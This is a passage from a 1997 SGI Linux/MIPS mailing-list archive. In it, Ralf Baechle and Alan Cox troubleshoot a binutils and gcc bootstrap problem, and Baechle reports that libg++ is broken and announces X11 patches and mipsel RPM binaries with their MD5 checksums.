	by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id OAA12103;
	Fri, 28 Nov 1997 14:54:14 +0100 (MET)
Received: by thoma (SMI-8.6/KO-2.0)
	id OAA12843; Fri, 28 Nov 1997 14:54:12 +0100
Message-ID: <19971128145410.36065@thoma.uni-koblenz.de>
Date: Fri, 28 Nov 1997 14:54:11 +0100
From: Ralf Baechle <ralf@uni-koblenz.de>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Cc: ralf@mailhost.uni-koblenz.de, linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
References: <19971128004706.49234@uni-koblenz.de> <m0xbQZf-0005FsC@lightning.swansea.linux.org.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.84e
In-Reply-To: <m0xbQZf-0005FsC@lightning.swansea.linux.org.uk>; from Alan Cox on Fri, Nov 28, 1997 at 01:35:14PM +0000
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 840
Lines: 22

On Fri, Nov 28, 1997 at 01:35:14PM +0000, Alan Cox wrote:

> 	Has anyone attempted to build the binutils fixed RPM with the old
> buggy binutils. Im trying this right now and Im getting

> Im now off to rebuild it from scratch with the static new linker to see what
> occurs

I just checked the binutils on my (Intel ...) laptop.  Libbfd contains
DT_NEEDED entries for libc.so.6.  This means that libbfd was linked
against libc which will make binutils 2.7 produce bad executables.

Suggested bootstrap procedure:

  - restore your old binutils 2.7 binaries
  - manually rebuild binutils 2.8.1 + patch.  When configuring binutils
    2.8.1 do not use the --enable-shared option, it will make binutils
    2.7 generate bad libraries.
  - install the binutils just built
  - You should now be able to rebuild the rpm without problems

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 06:00:48 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id GAA534262 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 06:00:47 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id GAA09169 for linux-list; Fri, 28 Nov 1997 06:00:15 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id GAA09046 for <linux@engr.sgi.com>; Fri, 28 Nov 1997 06:00:03 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA21677
	for <linux@engr.sgi.com>; Fri, 28 Nov 1997 05:59:50 -0800
	env-from (ralf@mailhost.uni-koblenz.de)
Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id OAA12344;
	Fri, 28 Nov 1997 14:59:23 +0100 (MET)
Received: by thoma (SMI-8.6/KO-2.0)
	id OAA12961; Fri, 28 Nov 1997 14:59:14 +0100
Message-ID: <19971128145912.03440@thoma.uni-koblenz.de>
Date: Fri, 28 Nov 1997 14:59:12 +0100
From: Ralf Baechle <ralf@uni-koblenz.de>
To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com
Subject: libg++
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.84e
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 245
Lines: 8

Hi,

libg++ is completly broken.  Programs linked with it will die even before
the main function is reached.  This probably means that the problem is
somewhere in the construcors run at initialization time.  Can somebody
look into that?

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 07:06:47 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id HAA537734 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 07:06:47 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id HAA13834 for linux-list; Fri, 28 Nov 1997 07:02:26 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id HAA13819 for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 07:02:16 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id HAA01278
	for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 07:02:14 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id OAA16294; Fri, 28 Nov 1997 14:56:53 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xbRqY-0005FvC; Fri, 28 Nov 97 14:56 GMT
Message-Id: <m0xbRqY-0005FvC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Bintuils
To: ralf@uni-koblenz.de (Ralf Baechle)
Date: Fri, 28 Nov 1997 14:56:45 +0000 (GMT)
Cc: alan@lxorguk.ukuu.org.uk, ralf@mailhost.uni-koblenz.de,
        linux@cthulhu.engr.sgi.com
In-Reply-To: <19971128145410.36065@thoma.uni-koblenz.de> from "Ralf Baechle" at Nov 28, 97 02:54:11 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 660
Lines: 21

>   - manually rebuild binutils 2.8.1 + patch.  When configuring binutils
>     2.8.1 do not use the --enable-shared option, it will make binutils
>     2.7 generate bad libraries.

Done that. I get a static and apparently workable binutils if I also turn
gcc optimisation off (otherwise gcc dumps)

>   - install the binutils just built

Done that

>   - You should now be able to rebuild the rpm without problems

gcc still dumps, if I fix that I get back to the original problem. This
is the 2.8.1 off sgi.com and has a "mips patch" listed in the spec file.

Im guessing the gcc one is a link bug that damaged gcc just slightly - zsh
also dumps gcc.

Alan


From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 07:11:34 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id HAA535522 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 07:11:33 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id HAA14531 for linux-list; Fri, 28 Nov 1997 07:10:44 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id HAA14526 for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 07:10:42 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id HAA03227
	for <linux@cthulhu.engr.sgi.com>; Fri, 28 Nov 1997 07:10:41 -0800
	env-from (ralf@mailhost.uni-koblenz.de)
Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id QAA15430;
	Fri, 28 Nov 1997 16:10:38 +0100 (MET)
Received: by thoma (SMI-8.6/KO-2.0)
	id QAA13069; Fri, 28 Nov 1997 16:10:37 +0100
Message-ID: <19971128161036.24017@thoma.uni-koblenz.de>
Date: Fri, 28 Nov 1997 16:10:36 +0100
From: Ralf Baechle <ralf@uni-koblenz.de>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Cc: Ralf Baechle <ralf@mailhost.uni-koblenz.de>, ralf@mailhost.uni-koblenz.de,
        linux@cthulhu.engr.sgi.com
Subject: Re: Bintuils
References: <19971128145410.36065@thoma.uni-koblenz.de> <m0xbRqY-0005FvC@lightning.swansea.linux.org.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.84e
In-Reply-To: <m0xbRqY-0005FvC@lightning.swansea.linux.org.uk>; from Alan Cox on Fri, Nov 28, 1997 at 02:56:45PM +0000
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 879
Lines: 24

On Fri, Nov 28, 1997 at 02:56:45PM +0000, Alan Cox wrote:
> >   - manually rebuild binutils 2.8.1 + patch.  When configuring binutils
> >     2.8.1 do not use the --enable-shared option, it will make binutils
> >     2.7 generate bad libraries.
> 
> Done that. I get a static and apparently workable binutils if I also turn
> gcc optimisation off (otherwise gcc dumps)
> 
> >   - install the binutils just built
> 
> Done that
> 
> >   - You should now be able to rebuild the rpm without problems
> 
> gcc still dumps, if I fix that I get back to the original problem. This
> is the 2.8.1 off sgi.com and has a "mips patch" listed in the spec file.
> 
> Im guessing the gcc one is a link bug that damaged gcc just slightly - zsh
> also dumps gcc.

In that case you are probably the victim of an older libc.  I'll rebuild
libc for my sources for big endian machines asap.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 07:18:58 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id HAA538321 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 07:18:58 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id HAA14844 for linux-list; Fri, 28 Nov 1997 07:14:44 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id HAA14829 for <linux@engr.sgi.com>; Fri, 28 Nov 1997 07:14:34 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id HAA04045
	for <linux@engr.sgi.com>; Fri, 28 Nov 1997 07:14:31 -0800
	env-from (ralf@mailhost.uni-koblenz.de)
Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id QAA15667;
	Fri, 28 Nov 1997 16:14:19 +0100 (MET)
Received: by thoma (SMI-8.6/KO-2.0)
	id QAA13082; Fri, 28 Nov 1997 16:14:17 +0100
Message-ID: <19971128161417.23781@thoma.uni-koblenz.de>
Date: Fri, 28 Nov 1997 16:14:17 +0100
From: Ralf Baechle <ralf@uni-koblenz.de>
To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com
Subject: Announce: X11 patches and binaries
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.84e
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 12685
Lines: 195

-----BEGIN PGP SIGNED MESSAGE-----

Hi,

I promised somebody I'd use the time during the student strikes in Germany
to work on the NCR driver.  Well, I lied - here is X windows instead :-)

The binaries are mostly packaged into rpm packages with the exception of
the XFree distribution itself which for now I'm providing as a tarball.
A patch to be applied to the XFree source distribution itself is included.
Right now the only X server included is Xnest; only little endian binaries
are included.

Given the short time invested into X and clients most things are untested.
Those things I actually have tested were working very reliable with the
exception of one program based libg++.

  Ralf

e6adead0b3055d837175aaf7d492414f  src/X/XFree86-3.3.1-1.diff.gz
2faa5f943fedc6c779e3eafeaf136ae9  mipsel-linux/tar-balls/XFree86-3.3.1-1.tar.gz
0b93144864e5d39e5b460e33e2a3e8eb  RPMS/noarch/mkxauth-1.7-6.noarch.rpm
78222c2f6acac85dd9e2ae84987d3ad9  RPMS/noarch/pythonlib-1.20-1.noarch.rpm
597c99452dd8640ef0eebdf418de08e9  RPMS/noarch/usercfg-3.4-3.noarch.rpm
b39cee2c84da1ceec9a51f516b64cbb5  RPMS/mipsel-linux/tcl-8.0-9.mips.rpm
489e52c017d6c2e49387e3d6a731419f  RPMS/mipsel-linux/xearth-1.0-6.mips.rpm
6813c27f619292818abd2cf77517c07c  RPMS/mipsel-linux/xfishtank-2.0-7.mips.rpm
422bc302d2f1a262e001c73a33a71502  RPMS/mipsel-linux/xpilot-3.6.1-2.mips.rpm
6b3539546a6d3a23118ba9f08ff87260  RPMS/mipsel-linux/tk-8.0-9.mips.rpm
bc27b017e27bf5187f5a2c79b93ef1d2  RPMS/mipsel-linux/mc-4.1.3-3.mips.rpm
5b7bfd7f94a577aa258c08a573aeb15f  RPMS/mipsel-linux/expect-5.24-9.mips.rpm
f62d8b556056d37a699945b5d9ea8be4  RPMS/mipsel-linux/tclx-8.0.0.0-9.mips.rpm
0f9998fd721f1feb6e2905d42383b56c  RPMS/mipsel-linux/tix-4.1.0.5-9.mips.rpm
b7b104f488165fc5ce926ce95f5a6adb  RPMS/mipsel-linux/tkmc-4.1.3-3.mips.rpm
f1bc632fb79c3bd1edd9a472dc94830f  RPMS/mipsel-linux/mcserv-4.1.3-3.mips.rpm
96b793eb50d0cb6d418deb39bdd047e3  RPMS/mipsel-linux/newt-0.12-1.mips.rpm
a81ebee239a25ac4c15c8674d9a97a4d  RPMS/mipsel-linux/newt-devel-0.12-1.mips.rpm
159b9e86bd0959b4aaf3e743094f8608  RPMS/mipsel-linux/chkconfig-0.6-1.mips.rpm
edeec21984a76e38e565e278ca98f678  RPMS/mipsel-linux/x3270-3.1.0.7-5.mips.rpm
47d82fc6502ad2afc57d98123ecb7840  RPMS/mipsel-linux/xanim-27064-2.mips.rpm
29e4e571dbc426b05aed2d4af38d503b  RPMS/mipsel-linux/xbl-1.0f-6.mips.rpm
3fe839481a663c2c851231f1dcba48c4  RPMS/mipsel-linux/xboard-3.2.pl0-7.mips.rpm
eddf70de60958c35cf6e81b2cb720168  RPMS/mipsel-linux/xdaliclock-2.07-3.mips.rpm
6f6dfe0b636138d41365b51439950b21  RPMS/mipsel-linux/xdemineur-1.1-6.mips.rpm
8c6851dc87cfe7ac4afc744c5f8b681c  RPMS/mipsel-linux/xgammon-0.98-8.mips.rpm
542e6fa3a40585a52e63344c3e30e094  RPMS/mipsel-linux/ytalk-3.0.3-2.mips.rpm
b2f44c6391f20baa96518449dadd16d4  RPMS/mipsel-linux/xgopher-1.3.3-3.mips.rpm
7107fc5905f3240e844d19247d5b56d0  RPMS/mipsel-linux/xjewel-1.6-6.mips.rpm
864d7ddf138206538d56b522274e2a7e  RPMS/mipsel-linux/xlander-1.2-6.mips.rpm
dc99b59165cd0ff04a3f7f5dcdf9b4c4  RPMS/mipsel-linux/kterm-6.1.0-8.mips.rpm
3d04911f8e6fdc1f4d2b05211d869254  RPMS/mipsel-linux/xloadimage-4.1-7.mips.rpm
552b60a3d6ab5a451c4c457fbb62a866  RPMS/mipsel-linux/moonclock-1.0-8.mips.rpm
b99b5c6a5ff895c658a792d97f112d6a  RPMS/mipsel-linux/xlockmore-4.04-1.mips.rpm
f83e2d398447c3517d3033377e14750d  RPMS/mipsel-linux/jed-0.97.14-5.mips.rpm
7e249fdbe91d2c4fee9e2f788cb6c0dd  RPMS/mipsel-linux/jed-xjed-0.97.14-5.mips.rpm
f505111bb4744158aa7fa7e87b71fa59  RPMS/mipsel-linux/rgrep-0.97.14-5.mips.rpm
a2d7b2f585f274c9a4ab8c640cc75d38  RPMS/mipsel-linux/xpm-3.4j-1.mips.rpm
694d4391e87f81a9c4526d837bd656df  RPMS/mipsel-linux/gnuplot-3.5-7.mips.rpm
810ab9acfc82b647bc83bb0e07b7ef94  RPMS/mipsel-linux/rxvt-2.20-3.mips.rpm
b1f52476fe8659911a96e5af5d93fb5f  RPMS/mipsel-linux/xpuzzles-5.3.1-3.mips.rpm
523b18230f873942bcffbf9e1235ba60  RPMS/mipsel-linux/xrn-8.02-4.mips.rpm
a334123c355620063fb4e5a70a80a69c  RPMS/mipsel-linux/xsnow-1.40-3.mips.rpm
6ef307bff3b3c91a3436fc02939bb899  RPMS/mipsel-linux/xscreensaver-1.26-6.mips.rpm
17f12a88b82b6cbb001ba8f89749d2fa  RPMS/mipsel-linux/xsysinfo-1.5-3.mips.rpm
64fe466c8c8431d1d21c121554c543a4  RPMS/mipsel-linux/xtoolwait-0.3-4.mips.rpm
88929be04bc7458b0b6afab31f54bb8d  RPMS/mipsel-linux/xwpick-2.20-6.mips.rpm
86c1b1388c5c54298002399d6aa803f8  RPMS/mipsel-linux/xxgdb-1.12-2.mips.rpm
a2178d8757d962f566cb1cb8e4ac1aed  RPMS/mipsel-linux/ghostscript-3.33-6.mips.rpm
50b58917b727daf1577bb5f6cc8aaf19  RPMS/mipsel-linux/xzip-140-5.mips.rpm
f9c7c0612f2dfa8162d5df8bdbacf489  RPMS/mipsel-linux/ghostview-1.5-7.mips.rpm
15801ff490d0dbdbf2d408ab0d4b638f  RPMS/mipsel-linux/metamail-2.7-8.mips.rpm
d3835ee0d61a998d264ddd67b74567c0  RPMS/mipsel-linux/Xaw3d-1.3-10.mips.rpm
fc52e3d47dc899098845ea015ff4c572  RPMS/mipsel-linux/maplay-1.2-5.mips.rpm
00db0d3a985a91e460f69f5d890003a8  RPMS/mipsel-linux/fvwm-1.24r-12.mips.rpm
3a47392f962cc46746bc87f594fd544f  RPMS/mipsel-linux/X11R6-contrib-3.3-1.mips.rpm
e0b20d06c86fa285c3c6b33f9875ffa3  RPMS/mipsel-linux/gimp-0.99.12-1.mips.rpm
094aac7bc8ab3788bd4af0584285489c  RPMS/mipsel-linux/Xconfigurator-3.18-1.mips.rpm
3aeb40f510cceed9d71d078e39b1c075  RPMS/mipsel-linux/guavac-0.2.6pl1-1.mips.rpm
cf530cd9f0fd6a7411eaa7fbaa76afca  RPMS/mipsel-linux/fvwm95-2.0.42a-7.mips.rpm
5550530ec24b5e5aece2a3bd43f6af3d  RPMS/mipsel-linux/fvwm95-icons-2.0.42a-7.mips.rpm
261fcba3c87d97e44894549021953a09  RPMS/mipsel-linux/gtk-0.99.970925-2.mips.rpm
8ed6b12b8eb5808d2ec3a8935492dc8f  RPMS/mipsel-linux/gtk-devel-0.99.970925-2.mips.rpm
8fd95e730b6f0019c845ca30ad5fca4e  RPMS/mipsel-linux/gimp-devel-0.99.12-1.mips.rpm
564dcb1257c985eada3fdb477a29f894  RPMS/mipsel-linux/gimp-libgimp-0.99.12-1.mips.rpm
9636cc812da5479c34c6460622637234  RPMS/mipsel-linux/tetex-0.4pl8-8.mips.rpm
e3726828656c07036ac295c08656497b  RPMS/mipsel-linux/tetex-latex-0.4pl8-8.mips.rpm
d3995750edff2ccbccb72f7e18f487ef  RPMS/mipsel-linux/tetex-xdvi-0.4pl8-8.mips.rpm
75eb70292e89ecd9d9c65462c096aae1  RPMS/mipsel-linux/tetex-dvips-0.4pl8-8.mips.rpm
dcc673cb2763f11693aef6e162b82d2d  RPMS/mipsel-linux/tetex-dvilj-0.4pl8-8.mips.rpm
662d46143729860adcd98cd12209829a  RPMS/mipsel-linux/tetex-afm-0.4pl8-8.mips.rpm
0fdb2466761145b09b0f66188914dd8a  RPMS/mipsel-linux/tetex-texmf-src-0.4pl8-8.mips.rpm
3439f596224a855f80815eeaa24dbbd6  RPMS/mipsel-linux/xbill-1.1-5.mips.rpm
25c2a1ae7e805290b1bbc6299aa62d1d  RPMS/mipsel-linux/xbanner-1.3-3.mips.rpm
5c97aa9fd3ac3ac50eeae58cfbb91170  RPMS/mipsel-linux/xboing-2.3-5.mips.rpm
69a4f042810694ae283ce5fdd75f0711  RPMS/mipsel-linux/xevil-1.5-5.mips.rpm
12462f4a80e99b6f2b85298c866e9c58  RPMS/mipsel-linux/xfig-3.1.4-9.mips.rpm
77aad6054d71b55e78f1e41827901ff8  RPMS/mipsel-linux/xtrojka-1.2.2-3.mips.rpm
8031afd28600b871d03e0966ee149d0c  RPMS/mipsel-linux/xmailbox-2.4-5.mips.rpm
424f17790dddc4a7dea5dbb8cf1a3f2a  RPMS/mipsel-linux/xmorph-1996.07.12-3.mips.rpm
4b4f33ebda40b7937c9cc1252165fb61  RPMS/mipsel-linux/xpaint-2.4.7-3.mips.rpm
6127ba706dd16a76b033b29de2f77c23  RPMS/mipsel-linux/xfm-1.3.2-6.mips.rpm
d8a24e828ea8363988f3913228a644be  RPMS/mipsel-linux/xgalaga-1.6c-4.mips.rpm
346a8f33c9fa7479b98d5fc8e02f29d3  RPMS/mipsel-linux/xpat2-1.04-4.mips.rpm
9a496db8e2998b3065fd4484975675a8  RPMS/mipsel-linux/xterm-color-1.1-5.mips.rpm
888c2fff1ba81f167568309da039d4d3  RPMS/mipsel-linux/xwpe-1.4.2-11.mips.rpm
621b72c143bac0e5b4daff5a920c4aee  RPMS/mipsel-linux/xwpe-X11-1.4.2-11.mips.rpm
0002465308f5662ca87e1c717b7a9da7  RPMS/mipsel-linux/seyon-2.14c-8.mips.rpm
ad7d93796d8f34e3faad8b5d78bc3818  RPMS/mipsel-linux/spider-1.0-4.mips.rpm
f7e685d0d9dffb60f336a835d26f898e  RPMS/mipsel-linux/tcsh-6.06-12.mips.rpm
4fc603c18f843b4622cab21bebd39acf  RPMS/mipsel-linux/transfig-3.1.2-e.mips.rpm
829fb979dcad8a226744b10c59d01956  RPMS/mipsel-linux/python-1.4-7.mips.rpm
2518d7b849cbeb5d4f8c2ee3d30922fc  RPMS/mipsel-linux/python-devel-1.4-7.mips.rpm
9bc1d57b967a50dcc8761c3fd7817d16  RPMS/mipsel-linux/python-docs-1.4-7.mips.rpm
d10c8dea141aaeb652215d72651d90d3  RPMS/mipsel-linux/rhs-printfilters-1.41-2.mips.rpm
96d8ba4ed46312d54260c5d16166c9b3  RPMS/mipsel-linux/xv-3.10a-7.mips.rpm
806e5a6317ba1b50ae07ca30ee8a3d03  SRPMS/X11R6-contrib-3.3-1.src.rpm
d0906c45e84f5414f32d31d7d44b40ff  SRPMS/Xconfigurator-3.18-1.src.rpm
b30c841d3d7ccb3be7415f9f77a72063  SRPMS/chkconfig-0.6-1.src.rpm
a5193bd6c247549fe4b2bd6a0c280b02  SRPMS/fvwm-1.24r-12.src.rpm
0be6f003dce3052f66746ed3b8a0d97f  SRPMS/fvwm95-2.0.42a-7.src.rpm
fe7f0b369d38a48c738c14eb8ee3f007  SRPMS/ghostscript-3.33-6.src.rpm
afbf64718946fec5c667032ebbbd4c15  SRPMS/ghostview-1.5-7.src.rpm
a9a51c407f47e3ac4dfb9c5f2196a1c9  SRPMS/gimp-0.99.12-1.src.rpm
adf5e364490d39db1c7009189eefc1bd  SRPMS/gnuplot-3.5-7.src.rpm
fb50640226d2831bdb8415365ec7916b  SRPMS/gtk-0.99.970925-2.src.rpm
993a0d8eede6ab505170424d19ccb95a  SRPMS/guavac-0.2.6pl1-1.src.rpm
29e01cf7e9a6ba3cfb98c8b40a8179a1  SRPMS/jed-0.97.14-5.src.rpm
9d248d951b49f299ddec4d5b01793740  SRPMS/kterm-6.1.0-8.src.rpm
a71e5cc387aff865005ccbf3df71987b  SRPMS/maplay-1.2-5.src.rpm
d91363b6e4d23a476ecfcc6ce2336977  SRPMS/mc-4.1.3-3.src.rpm
2334be37741b41a57c2cb2bb43a84342  SRPMS/metamail-2.7-8.src.rpm
60ce6a8b34bdf271b5e7b54842d1f867  SRPMS/mkxauth-1.7-6.src.rpm
d09d999ca1e4c3415e8e4deea7f633eb  SRPMS/moonclock-1.0-8.src.rpm
70ae5dda5ed9f2b634407c67b75a5cf9  SRPMS/newt-0.12-1.src.rpm
ad830b56c87e4cc837cad7c51a52aebf  SRPMS/python-1.4-7.src.rpm
bda1285e9ff03183cb029e7ff917c191  SRPMS/pythonlib-1.20-1.src.rpm
e2a9381e6e60489ed3dbadb6ad79098c  SRPMS/rhs-printfilters-1.41-2.src.rpm
bcd8e1345c504f0b48cfc71ab2a3943d  SRPMS/rxvt-2.20-3.src.rpm
11bbe622cb4de5847329c906a39bb865  SRPMS/seyon-2.14c-8.src.rpm
401de114a093415db18de3f1da989b7b  SRPMS/spider-1.0-4.src.rpm
e96312187c5c701148c1a48c71320fb6  SRPMS/tcltk-8.0-9.src.rpm
fe5de8a5acbe0c9f10382bdc4023ce09  SRPMS/tcsh-6.06-12.src.rpm
9f560ebe109a41a34f9a22528bb3a062  SRPMS/tetex-0.4pl8-8.src.rpm
f576e4d9173104f79f0ec779f56dbc2c  SRPMS/transfig-3.1.2-e.src.rpm
4b850c222ab94bc54355c4e2694f93ec  SRPMS/usercfg-3.4-3.src.rpm
270908a58fa90062e135ea5f6175611f  SRPMS/x3270-3.1.0.7-5.src.rpm
5c32fca774cf9961e623b5b29513eca4  SRPMS/xanim-27064-2.src.rpm
29c484d221e87bcad87326b5574151a9  SRPMS/xbanner-1.3-3.src.rpm
18f20f843ab77135f59f76be772ecff1  SRPMS/xbill-1.1-5.src.rpm
c22e9940c4b577334603e24831c65a62  SRPMS/xbl-1.0f-6.src.rpm
ed40bba71ab46b1423cf6b1a7d99be68  SRPMS/xboard-3.2.pl0-7.src.rpm
17862b66b41085fe5421f60c1c742836  SRPMS/xboing-2.3-5.src.rpm
3291fd7ca7c12b53127dc58bfe31d109  SRPMS/xdaliclock-2.07-3.src.rpm
c92d093de48197e709d8a34284803f02  SRPMS/xdemineur-1.1-6.src.rpm
65f47546fa9e22d450c634c746a71638  SRPMS/xearth-1.0-6.src.rpm
9c45eb710b90b2c719d42d40757ed017  SRPMS/xevil-1.5-5.src.rpm
e748c55eca415624ef56478c079a6ef4  SRPMS/xfig-3.1.4-9.src.rpm
8c59179819496cd02ddbdac3dfe435ee  SRPMS/xfishtank-2.0-7.src.rpm
1044469e6f268813435012dabc11e569  SRPMS/xfm-1.3.2-6.src.rpm
e5abad29ea10dfe0e1a7e48f4f94ed2a  SRPMS/xgalaga-1.6c-4.src.rpm
faa0be7ef1b2f53fb2d6bdd092f01a82  SRPMS/xgammon-0.98-8.src.rpm
f1efd5be121dc48bb0f5152410fe6816  SRPMS/xgopher-1.3.3-3.src.rpm
dacb7477367e3cc1639f0747563ce95c  SRPMS/xjewel-1.6-6.src.rpm
a1e379851025e61ad9cce442b776344b  SRPMS/xlander-1.2-6.src.rpm
b31d2aef61ae7e27f6b12f22fd6c1931  SRPMS/xloadimage-4.1-7.src.rpm
ce3c4140d3473389827431a3f932b9ca  SRPMS/xlockmore-4.04-1.src.rpm
7506a78e1caad8b0f4ce20ead40f26c6  SRPMS/xmailbox-2.4-5.src.rpm
35db377c6b698dbfb406724009a9f989  SRPMS/xmorph-1996.07.12-3.src.rpm
bd0382ef8a59a06af3e92a19d0f617e7  SRPMS/xpaint-2.4.7-3.src.rpm
efc719a523d84b83d01a479062e55a8d  SRPMS/xpat2-1.04-4.src.rpm
5373213258ca057519f36e1c78961eb8  SRPMS/xpilot-3.6.1-2.src.rpm
ee69e4436d1a9891423dabcdabcdbaf7  SRPMS/xpuzzles-5.3.1-3.src.rpm
37587aea1077a5a2acf39edb6fe4bcc7  SRPMS/xrn-8.02-4.src.rpm
9583e4871f94eb79d850d26d2c594e1b  SRPMS/xscreensaver-1.26-6.src.rpm
dbeb3a6f8ef3e7c1fb79d95a068bf2a1  SRPMS/xsnow-1.40-3.src.rpm
46cf53f9322d606a9f8c05a13b4e2568  SRPMS/xsysinfo-1.5-3.src.rpm
a9cbdaa7262a17f60d39a7e8886084f2  SRPMS/xterm-color-1.1-5.src.rpm
a7c78350c22bc7b8bf602257430a8859  SRPMS/xtoolwait-0.3-4.src.rpm
c6eb0534edf15c26caf2bfd48f3f5b8e  SRPMS/xv-3.10a-7.src.rpm
8fafd40a7dae65a884093d10b91c9c6a  SRPMS/xtrojka-1.2.2-3.src.rpm
6e7c5971078f613b558593db22c9a3f6  SRPMS/xwpick-2.20-6.src.rpm
7e66a3889534a92ffaaa1108f3e91b5d  SRPMS/xxgdb-1.12-2.src.rpm
d58b2e110bfe5ee2fbe694fba43a640c  SRPMS/xzip-140-5.src.rpm
1e45d6b8f2e0a25d9acb5591d0390f9a  SRPMS/ytalk-3.0.3-2.src.rpm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1

iQCVAwUBNH7d5Uckbl6vezDBAQGgwAP/UBNT9EJZDmTXZT63skzeu8xcNcPSu/hY
La4sve0DG+iWjrvsCgb9Vv7DMu/nGGF7QQQUOFXVCkAZVHK+x7/eQf1bd3nJSgYb
JBDnBzkrU8npUEpMvomKqj0Y2Ohmc3nNlricNhO+OeTMblAHGFNujmI7SXA/g3db
y+FSRx16wpY=
=+RqM
-----END PGP SIGNATURE-----

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 28 12:02:25 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id MAA548310 for <linux-archive@neteng.engr.sgi.com>; Fri, 28 Nov 1997 12:02:24 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
